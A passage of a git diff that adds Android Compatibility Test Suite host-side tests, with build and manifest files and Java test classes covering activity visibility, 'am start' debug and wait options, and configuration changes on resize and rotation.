+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsDeviceServicesTestThirdApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
new file mode 100644
index 0000000..ff4b987
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.cts.third">
+
+    <application>
+        <activity android:name=".ThirdActivity"
+                  android:resizeableActivity="true"
+                  android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
new file mode 100644
index 0000000..eeddc3d
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.third;
+
+import android.app.Activity;
+
+public class ThirdActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
new file mode 100644
index 0000000..add7e42
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityAndWindowManagerOverrideConfigTests.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static android.server.cts.StateLogger.log;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityAndWindowManagerOverrideConfigTests
+ */
+public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
+    private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
+
+    private class ConfigurationChangeObserver {
+        private final Pattern mConfigurationChangedPattern =
+            Pattern.compile("(.+)Configuration changed: (\\d+),(\\d+)");
+
+        private ConfigurationChangeObserver() {
+        }
+
+        private boolean findConfigurationChange(String activityName, String logSeparator)
+                throws DeviceNotAvailableException, InterruptedException {
+            int tries = 0;
+            boolean observedChange = false;
+            while (tries < 5 && !observedChange) {
+                final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+                log("Looking at logcat");
+                for (int i = lines.length - 1; i >= 0; i--) {
+                    final String line = lines[i].trim();
+                    log(line);
+                    Matcher matcher = mConfigurationChangedPattern.matcher(line);
+                    if (matcher.matches()) {
+                        observedChange = true;
+                        break;
+                    }
+                }
+                tries++;
+                Thread.sleep(500);
+            }
+            return observedChange;
+        }
+    }
+
+    public void testReceiveOverrideConfigFromRelayout() throws Exception {
+        if (!supportsFreeform()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support freeform. Skipping test.");
+            return;
+        }
+
+        launchActivityInStack(TEST_ACTIVITY_NAME, FREEFORM_WORKSPACE_STACK_ID);
+
+        setDeviceRotation(0);
+        String logSeparator = clearLogcat();
+        resizeActivityTask(TEST_ACTIVITY_NAME, 0, 0, 100, 100);
+        ConfigurationChangeObserver c = new ConfigurationChangeObserver();
+        final boolean reportedSizeAfterResize = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertTrue("Expected to observe configuration change when resizing",
+                reportedSizeAfterResize);
+
+        logSeparator = clearLogcat();
+        setDeviceRotation(2);
+        final boolean reportedSizeAfterRotation = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertFalse("Not expected to observe configuration change after flip rotation",
+                reportedSizeAfterRotation);
+    }
+}
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
new file mode 100644
index 0000000..c647be4
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+
+import android.platform.test.annotations.Presubmit;
+
+import java.lang.Exception;
+import java.lang.String;
+
+import static com.android.ddmlib.Log.LogLevel.INFO;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerActivityVisibilityTests
+ */
+public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
+    private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
+    private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
+    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+    private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
+    private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
+    private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
+    private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+
+
+    public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
+        if (!supportsPip()) {
+            return;
+        }
+
+        executeShellCommand(getAmStartCmdOverHome(PIP_ON_PIP_ACTIVITY));
+        mAmWmState.waitForValidState(mDevice, PIP_ON_PIP_ACTIVITY);
+        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+        // translucent activity.
+        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+
+        mAmWmState.computeState(mDevice, new String[] {PIP_ON_PIP_ACTIVITY, TRANSLUCENT_ACTIVITY});
+        mAmWmState.assertFrontStack("Pinned stack must be the front stack.", PINNED_STACK_ID);
+        mAmWmState.assertVisibility(PIP_ON_PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+    }
+
+    /**
+     * Asserts that the home activity is visible when a translucent activity is launched in the
+     * fullscreen stack over the home activity.
+     */
+    public void testTranslucentActivityOnTopOfHome() throws Exception {
+        if (noHomeScreen()) {
+            return;
+        }
+
+        launchHomeActivity();
+        launchActivity(TRANSLUCENT_ACTIVITY);
+
+        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
+        mAmWmState.assertFrontStack(
+                "Fullscreen stack must be the front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    /**
+     * Assert that the home activity is visible if a task that was launched from home is pinned
+     * and also assert the next task in the fullscreen stack isn't visible.
+     */
+    public void testHomeVisibleOnActivityTaskPinned() throws Exception {
+        if (!supportsPip()) {
+            return;
+        }
+
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_NAME);
+        launchHomeActivity();
+        launchActivity(TRANSLUCENT_ACTIVITY);
+        executeShellCommand(AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND);
+
+        mAmWmState.computeState(mDevice, new String[]{TRANSLUCENT_ACTIVITY});
+
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    public void testTranslucentActivityOverDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
+        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
+        launchActivityInStack(TRANSLUCENT_ACTIVITY_NAME, DOCKED_STACK_ID);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME,
+                TRANSLUCENT_ACTIVITY_NAME}, false /* compareTaskAndStackBounds */);
+        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack",
+                FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
+    }
+
+    @Presubmit
+    public void testTurnScreenOnActivity() throws Exception {
+        sleepDevice();
+        launchActivity(TURN_SCREEN_ON_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
+    }
+
+    public void testFinishActivityInNonFocusedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch two activities in docked stack.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder().setTargetActivityName(BROADCAST_RECEIVER_ACTIVITY).execute();
+        mAmWmState.computeState(mDevice, new String[] { BROADCAST_RECEIVER_ACTIVITY });
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+        // Launch something to fullscreen stack to make it focused.
+        launchActivityInStack(TEST_ACTIVITY_NAME, 1);
+        mAmWmState.computeState(mDevice, new String[] { TEST_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+        // Finish activity in non-focused (docked) stack.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+        mAmWmState.computeState(mDevice, new String[] { LAUNCHING_ACTIVITY });
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
+    }
+
+    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+        performFinishActivityWithMoveTaskToBack("on_pause");
+    }
+
+    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+        performFinishActivityWithMoveTaskToBack("on_stop");
+    }
+
+    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+        // Make sure home activity is visible.
+        launchHomeActivity();
+        mAmWmState.assertHomeActivityVisible(true /* visible */);
+
+        // Launch an activity that calls "moveTaskToBack" to finish itself.
+        launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
+        mAmWmState.waitForValidState(mDevice, MOVE_TASK_TO_BACK_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, true);
+
+        // Launch a different activity on top.
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+        mAmWmState.waitForActivityState(mDevice, BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY_NAME, false);
+        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
+
+        // Finish the top-most activity.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        // Home must be visible.
+        mAmWmState.waitForHomeActivityVisible(mDevice);
+        mAmWmState.assertHomeActivityVisible(true /* visible */);
+    }
+
+    /**
+     * Asserts that launching between reorder to front activities exhibits the correct backstack
+     * behavior.
+     */
+    public void testReorderToFrontBackstack() throws Exception {
+        // Start with home on top
+        launchHomeActivity();
+        mAmWmState.assertHomeActivityVisible(true /* visible */);
+
+        // Launch the launching activity to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Launch the alternate launching activity from launching activity with reorder to front.
+        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+                .setReorderToFront(true).execute();
+
+        // Launch the launching activity from the alternate launching activity with reorder to
+        // front.
+        getLaunchActivityBuilder().setTargetActivityName(LAUNCHING_ACTIVITY)
+                .setLaunchingActivityName(ALT_LAUNCHING_ACTIVITY).setReorderToFront(true)
+                .execute();
+
+        // Press back
+        pressBackButton();
+
+        mAmWmState.waitForValidState(mDevice, ALT_LAUNCHING_ACTIVITY);
+
+        // Ensure the alternate launching activity is in focus
+        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+                ALT_LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Asserts that the activity focus and history is preserved moving between the activity and
+     * home stack.
+     */
+    public void testReorderToFrontChangingStack() throws Exception {
+        // Start with home on top
+        launchHomeActivity();
+        mAmWmState.assertHomeActivityVisible(true /* visible */);
+
+        // Launch the launching activity to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Launch the alternate launching activity from launching activity with reorder to front.
+        getLaunchActivityBuilder().setTargetActivityName(ALT_LAUNCHING_ACTIVITY)
+                .setReorderToFront(true).execute();
+
+        // Return home
+        launchHomeActivity();
+        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        // Launch the launching activity from the alternate launching activity with reorder to
+        // front.
+
+        // Bring launching activity back to the foreground
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
+
+        // Ensure the alternate launching activity is still in focus.
+        mAmWmState.assertFocusedActivity("Alt Launching Activity must be focused",
+                ALT_LAUNCHING_ACTIVITY);
+
+        pressBackButton();
+
+        mAmWmState.waitForValidState(mDevice, LAUNCHING_ACTIVITY);
+
+        // Ensure launching activity was brought forward.
+        mAmWmState.assertFocusedActivity("Launching Activity must be focused",
+                LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Asserts that a nohistory activity is stopped and removed immediately after a resumed activity
+     * above becomes visible and does not idle.
+     */
+    public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+        // Start with home on top
+        launchHomeActivity();
+
+        // Launch no history activity
+        launchActivity(NOHISTORY_ACTIVITY);
+
+        // Launch an activity with a swipe refresh layout configured to prevent idle.
+        launchActivity(SWIPE_REFRESH_ACTIVITY);
+
+        pressBackButton();
+        mAmWmState.waitForHomeActivityVisible(mDevice);
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
new file mode 100644
index 0000000..f6df4a8
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmStartOptionsTests
+ */
+public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
+    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+    public void testDashD() throws Exception {
+        final String activityComponentName =
+                ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+
+        final String[] waitForActivityRecords = new String[] {activityComponentName};
+
+        // Run at least 2 rounds to verify that -D works with an existing process.
+        // -D could fail in this case if the force stop of process is broken.
+        int prevProcId = -1;
+        for (int i = 0; i < 2; i++) {
+            executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME) + " -D");
+
+            mAmWmState.waitForDebuggerWindowVisible(mDevice, waitForActivityRecords);
+            int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
+
+            assertTrue("Invalid ProcId.", procId >= 0);
+            if (i > 0) {
+                assertTrue("Run " + i + " didn't start new proc.", prevProcId != procId);
+            }
+            prevProcId = procId;
+        }
+    }
+
+    public void testDashW_Direct() throws Exception {
+        testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+    }
+
+    public void testDashW_Indirect() throws Exception {
+        testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
+    }
+
+    private void testDashW(final String entryActivity, final String actualActivity)
+            throws Exception {
+        // Test cold start
+        startActivityAndVerifyResult(entryActivity, actualActivity, true);
+
+        // Test warm start
+        pressHomeButton();
+        startActivityAndVerifyResult(entryActivity, actualActivity, false);
+
+        // Test "hot" start (app already in front)
+        startActivityAndVerifyResult(entryActivity, actualActivity, false);
+    }
+
+    private void startActivityAndVerifyResult(final String entryActivity,
+            final String actualActivity, boolean shouldStart) throws Exception {
+        // See TODO below
+        // final String logSeparator = clearLogcat();
+
+        // Pass in different data only when cold starting. This is to make the intent
+        // different in subsequent warm/hot launches, so that the entrypoint alias
+        // activity is always started, but the actual activity is not started again
+        // because of the NEW_TASK and singleTask flags.
+        final String result = executeShellCommand(getAmStartCmd(entryActivity) + " -W"
+                + (shouldStart ? " -d about:blank" : ""));
+
+        // Verify shell command return value
+        verifyShellOutput(result, actualActivity, shouldStart);
+
+        // TODO: Disable logcat check for now.
+        // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
+        // too many lines), and make the test look flaky. We need to either use event
+        // log or swith to other mechanisms. Only verify shell output for now, it should
+        // still catch most failures.
+
+        // Verify adb logcat log
+        //verifyLogcat(actualActivity, shouldStart, logSeparator);
+    }
+
+    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
+            "Warning: Activity not started(.*)");
+    private static final Pattern sStatusPattern = Pattern.compile(
+            "Status: (.*)");
+    private static final Pattern sActivityPattern = Pattern.compile(
+            "Activity: (.*)");
+    private static final String sStatusOk = "ok";
+
+    private void verifyShellOutput(
+            final String result, final String activity, boolean shouldStart) {
+        boolean warningFound = false;
+        String status = null;
+        String reportedActivity = null;
+        String componentActivityName = getActivityComponentName(activity);
+
+        final String[] lines = result.split("\\n");
+        // Going from the end of logs to beginning in case if some other activity is started first.
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            Matcher matcher = sNotStartedWarningPattern.matcher(line);
+            if (matcher.matches()) {
+                warningFound = true;
+                continue;
+            }
+            matcher = sStatusPattern.matcher(line);
+            if (matcher.matches()) {
+                status = matcher.group(1);
+                continue;
+            }
+            matcher = sActivityPattern.matcher(line);
+            if (matcher.matches()) {
+                reportedActivity = matcher.group(1);
+                continue;
+            }
+        }
+
+        assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
+        assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
+                componentActivityName.equals(reportedActivity));
+
+        if (shouldStart && warningFound) {
+            fail("Should start new activity but brought something to front.");
+        } else if (!shouldStart && !warningFound){
+            fail("Should bring existing activity to front but started new activity.");
+        }
+    }
+
+    private static final Pattern sDisplayTimePattern =
+            Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
+
+    void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator)
+            throws DeviceNotAvailableException {
+        int displayCount = 0;
+        String activityName = null;
+
+        for (String line : getDeviceLogsForComponent("ActivityManager", logSeparator)) {
+            line = line.trim();
+
+            Matcher matcher = sDisplayTimePattern.matcher(line);
+            if (matcher.matches()) {
+                activityName = matcher.group(2);
+                // Ignore activitiy displays from other packages, we don't
+                // want some random activity starts to ruin our test.
+                if (!activityName.startsWith("android.server.cts")) {
+                    continue;
+                }
+                if (!shouldStart) {
+                    fail("Shouldn't display anything but displayed " + activityName);
+                }
+                displayCount++;
+            }
+        }
+        final String expectedActivityName = getActivityComponentName(actualActivityName);
+        if (shouldStart) {
+            if (displayCount != 1) {
+                fail("Should display exactly one activity but displayed " + displayCount);
+            } else if (!expectedActivityName.equals(activityName)) {
+                fail("Should display " + expectedActivityName +
+                        " but displayed " + activityName);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
new file mode 100644
index 0000000..27d6c64
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -0,0 +1,579 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.cts;
+
+import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.awt.Rectangle;
+import java.util.ArrayList;
+import java.util.List;
+
+import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAppConfigurationTests
+ */
+public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
+    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String PORTRAIT_ACTIVITY_NAME = "PortraitOrientationActivity";
+    private static final String LANDSCAPE_ACTIVITY_NAME = "LandscapeOrientationActivity";
+    private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
+    private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
+
+    private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
+
+    private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
+
+    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+
+    private static final int SMALL_WIDTH_DP = 426;
+    private static final int SMALL_HEIGHT_DP = 320;
+
+    /**
+     * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
+     * has an updated size when the Activity is resized from fullscreen to docked state.
+     *
+     * The Activity handles configuration changes, so it will not be restarted between resizes.
+     * On Configuration changes, the Activity logs the Display size and Configuration width
+     * and heights. The values reported in fullscreen should be larger than those reported in
+     * docked state.
+     */
+    public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        String logSeparator = clearLogcat();
+        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        logSeparator = clearLogcat();
+        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        assertSizesAreSane(fullscreenSizes, dockedSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
+     * from docked state to fullscreen (reverse).
+     */
+    @Presubmit
+    public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        String logSeparator = clearLogcat();
+        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        logSeparator = clearLogcat();
+        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        assertSizesAreSane(fullscreenSizes, dockedSizes);
+    }
+
+    /**
+     * Tests whether the Display sizes change when rotating the device.
+     */
+    public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
+        setDeviceRotation(0);
+        final String logSeparator = clearLogcat();
+        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
+     * is in the docked stack.
+     */
+    @Presubmit
+    public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
+        setDeviceRotation(0);
+        final String logSeparator = clearLogcat();
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
